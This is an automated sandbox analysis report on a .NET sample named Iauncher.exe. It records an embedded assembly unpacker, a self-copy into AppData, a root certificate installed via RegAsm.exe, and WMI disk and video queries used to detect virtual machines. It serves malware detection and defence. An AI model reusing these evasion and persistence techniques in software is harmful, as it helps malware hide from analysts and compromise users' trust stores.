Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.
Source: C:\Users\user\Desktop\Iauncher.exe	Automated click: I agree to the License terms and conditions.

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Iauncher.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Iauncher.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Iauncher.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Ilham-PC\Documents\Visual Studio 2015\Projects\Siticone.UI\Build\Release\Siticone.UI.WinForms\Siticone.UI.pdbBSJB source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed source: Iauncher.exe
Source:	Binary string: costura.costura.pdb.compressedlB source: Iauncher.exe, 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: Iauncher.exe
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: Iauncher.exe
Source:	Binary string: C:\Users\Ilham-PC\Documents\Visual Studio 2015\Projects\Siticone.UI\Build\Release\Siticone.UI.WinForms\Siticone.UI.pdb source: Iauncher.exe, 00000000.00000002.3678508304.0000000003A21000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3678508304.0000000003EF1000.00000004.00000800.00020000.00000000.sdmp, Iauncher.exe, 00000000.00000002.3683105347.0000000005C10000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: Iauncher.exe, AssemblyLoader.cs

.Net Code: ReadFromEmbeddedResources System.Reflection.Assembly.Load(byte[])

Yara detected Costura Assembly Loader

Source: Yara match	File source: Iauncher.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Iauncher.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1184729227.0000000000592000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3676644672.0000000002A11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Iauncher.exe PID: 6692, type: MEMORYSTR

Source: Iauncher.exe

Static PE information: 0xACDA9736 [Wed Nov 23 21:25:10 2061 UTC]

Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_05D6E7BB push eax; ret	0_2_05D6E7C1
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_05DB8940 push esp; ret	0_2_05DB8941
Source: C:\Users\user\Desktop\Iauncher.exe	Code function: 0_2_09CA36D7 push ebx; iretd	0_2_09CA36DA
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_005959B6 push es; retn 0000h	11_2_00595AC6
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00595AD8 push es; retn 0000h	11_2_00595AC6
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00595AD8 push es; ret	11_2_00595AD5
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00595AC9 push es; retn 0000h	11_2_00595AC6
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00595AC9 push es; ret	11_2_00595AD5
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_005662BA push ecx; ret	11_2_005662CD
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00595B45 push es; retf 0000h	11_2_00595B32
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00595B45 push es; retf	11_2_00595B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05D81015 push FFFFFF8Bh; ret	13_2_05D8101A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DA804D push ecx; iretd	13_2_05DA8052
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05DAECF2 push eax; ret	13_2_05DAED01

Source: Iauncher.exe

Static PE information: section name: .text entropy: 7.90237020530487

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe

File created: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\Iauncher.exe	Memory allocated: FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Memory allocated: 2A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Memory allocated: 2910000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2430000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: B10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598888	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595647	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe	Window / User API: threadDelayed 7148	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Window / User API: threadDelayed 2710	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1414	Jump to behavior
